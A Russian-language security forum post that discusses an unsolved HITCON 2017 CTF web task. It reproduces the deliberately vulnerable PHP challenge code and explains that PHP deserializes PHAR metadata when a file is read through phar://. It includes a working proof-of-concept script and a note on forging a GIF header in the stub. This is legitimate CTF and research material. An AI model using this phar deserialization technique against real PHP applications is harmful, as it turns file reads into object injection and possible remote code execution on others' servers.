Показать сообщение отдельно
Старый 06.11.2017, 13:40   #1
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию Чтение файлов => unserialize !

Огненный подгон от тайваньский друзей.

Давеча прошёл HITCON CTF Quals (https://ctf2017.hitcon.org/dashboard/). Там были веб-таски от Orange.
Один из них никто не решил:
Цитата:
Baby^H Master PHP 2017
PHP is the best programming language in the world!

http://13.115.31.205
Код таска:
PHP код:
 <?php
    $FLAG    
create_function(""'die(`/read_flag`);');
    
$SECRET  = `/read_secret`;
    
$SANDBOX "/var/www/data/" md5("orange" $_SERVER["REMOTE_ADDR"]); 
    @
mkdir($SANDBOX);
    @
chdir($SANDBOX);

    if (!isset(
$_COOKIE["session-data"])) {
        
$data serialize(new User($SANDBOX));
        
$hmac hash_hmac("sha1"$data$SECRET);
        
setcookie("session-data"sprintf("%s-----%s"$data$hmac));
    }

    class 
User {
        public 
$avatar;
        function 
__construct($path) {
            
$this->avatar $path;
        }
    }

    class 
Admin extends User {
        function 
__destruct(){
            
$random bin2hex(openssl_random_pseudo_bytes(32));
            eval(
"function my_function_$random() {"
                
."  global \$FLAG; \$FLAG();"
                
."}");
            
$_GET["lucky"]();
        }
    }

    function 
check_session() {
        global 
$SECRET;
        
$data $_COOKIE["session-data"];
        list(
$data$hmac) = explode("-----"$data2);
        if (!isset(
$data$hmac) || !is_string($data) || !is_string($hmac))
            die(
"Bye");
        if ( !
hash_equals(hash_hmac("sha1"$data$SECRET), $hmac) )
            die(
"Bye Bye");

        
$data unserialize($data);
        if ( !isset(
$data->avatar) )
            die(
"Bye Bye Bye");
        return 
$data->avatar;
    }

    function 
upload($path) {
        
$data file_get_contents($_GET["url"] . "/avatar.gif");
        if (
substr($data06) !== "GIF89a")
            die(
"Fuck off");
        
file_put_contents($path "/avatar.gif"$data);
        die(
"Upload OK");
    }

    function 
show($path) {
        if ( !
file_exists($path "/avatar.gif") )
            
$path "/var/www/html";
        
header("Content-Type: image/gif");
        die(
file_get_contents($path "/avatar.gif"));
    }

    
$mode $_GET["m"];
    if (
$mode == "upload")
        
upload(check_session());
    else if (
$mode == "show")
        
show(check_session());
    else
        
highlight_file(__FILE__);
Решение: https://github.com/orangetw/My-CTF-W...aster-php-2017

Так вот, внезапно выясняется, что PHP производит десериализацию метаданных при чтении PHAR-архива, и почему-то никто из нас этого не знал.
Пруф в сорцах:
https://github.com/php/php-src/blob/...ar/phar.c#L609
Пруф вектор:
http://view-source:https://raw.githu...017/avatar.gif

Почему-то никто про это не знал.
Цитата:
[13:13] <Beched> wow!
[13:13] <Beched> https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609
[13:14] <Beched> omg is this common knowledge? =)
[13:14] <Beched> where did you learn that PHP deserializes metadata in phars?
[13:14] <Beched> somehow no one knew that among us
[13:27] <orange_> I read the PHP source code in my free time
[13:27] <orange_> I think both tricks are not seen on the Internet
[13:27] <orange_> That's why nobody solve it
[13:38] <Beched> yeah that's cool
[13:38] <Beched> turning arbitrary read into unserialize
А вот как можно проверить у себя:
PHP код:
<?php

if(count($argv) > 1) {
    @
readfile("phar://./deser.phar");
    exit;
}

class 
Hui {
    function 
__destruct() {
        echo 
"PWN\n";
    }
}

@
unlink('deser.phar');
try {
    
$p = new Phar(dirname(__FILE__) . '/deser.phar'0);
    
$p['file.txt'] = 'test';
    
$p->setMetadata(new Hui());
    
$p->setStub('<?php __HALT_COMPILER(); ?>');
} catch (
Exception $e) {
    echo 
'Could not create and/or modify phar:'$e;
}

?>
Создаём PHAR:
Код:
$ php -dphar.readonly=0 proof.php
PWN
Проверяем десериализацию при чтении:
Код:
$ php -dphar.readonly=0 proof.php 1
PWN
Зависимости:

Обёртка phar:// не работает с удалёнными хостами, поэтому нужно сначала загрузить файл на сервер. Но наличие стаба позволяет сформировать произвольный заголовок (в таске, например, нужно было вставить GIF89a в начало).

Последний раз редактировалось Beched; 06.11.2017 в 13:45..
Beched вне форума   Ответить с цитированием